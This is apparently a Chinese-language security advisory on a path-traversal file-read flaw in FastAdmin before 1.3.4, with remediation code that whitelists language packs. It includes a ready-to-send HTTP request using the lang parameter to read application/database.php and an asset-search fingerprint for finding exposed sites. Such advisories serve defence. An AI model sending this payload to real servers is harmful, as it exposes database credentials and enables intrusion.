FastAdmin 框架路径穿越导致的文件读取漏洞分析与处置
FastAdmin 是一款基于 ThinkPHP 和 Bootstrap 构建的后台管理框架,因其高效的开发体验而在开发者群体中广泛使用。然而,在 FastAdmin 1.3.4 之前的版本中,存在一个由于多语言处理逻辑不当导致的任意文件读取漏洞。攻击者通过构造特定的路径穿越攻击载荷,可以读取服务器上的敏感配置文件,甚至获取数据库凭据。
漏洞详情
该漏洞主要源于系统在处理 lang 语言参数时未进行充分的路径过滤。通过 /index/ajax/lang 接口,攻击者可以利用 ../ 等遍历字符跳转至系统敏感目录。
受影响版本
- FastAdmin < 1.3.4
资产测绘特征
app="FASTADMIN-框架"
漏洞复现
攻击者通过发送如下 HTTP 请求,可以尝试读取 application/database.php 文件的内容(该文件通常包含数据库连接账户和密码):
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: target-website.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: close
若服务器存在漏洞,响应包中将包含目标 PHP 文件的源码或部分敏感配置信息。

修复方案
1. 快速规避措施
如果业务场景不需要支持多语言切换,最简单有效的方法是关闭多语言自动检测功能。修改 application/config.php 配置文件,将 lang_switch_on 设置为 false:
// application/config.php
'lang_switch_on' => false,
2. 代码层逻辑加固
针对需要保留多语言功能的站点,可以通过增加语言包白名单的方式进行加固。首先,在 application/common/behavior/Common.php 中定义初始化逻辑,限制允许加载的语言标识:
namespace app\common\behavior;
use think\Config;
use think\Lang;
class Common
{
public function appInit()
{
// 获取配置的允许语言列表,默认为中文和英文
$whiteList = Config::get('allow_lang_list') ?: ['zh-cn', 'en'];
Lang::setAllowLangList($whiteList);
}
}
随后,需要在框架的钩子配置文件 application/tags.php 中注册上述行为。在 app_init 数组中添加 Common 行为类的路径:
// application/tags.php
return [
'app_init' => [
'app\\common\\behavior\\Common',
],
// 其他配置...
];
通过上述修改,系统将强制校验 lang 参数是否在预设的白名单内,从而有效阻断路径穿越攻击。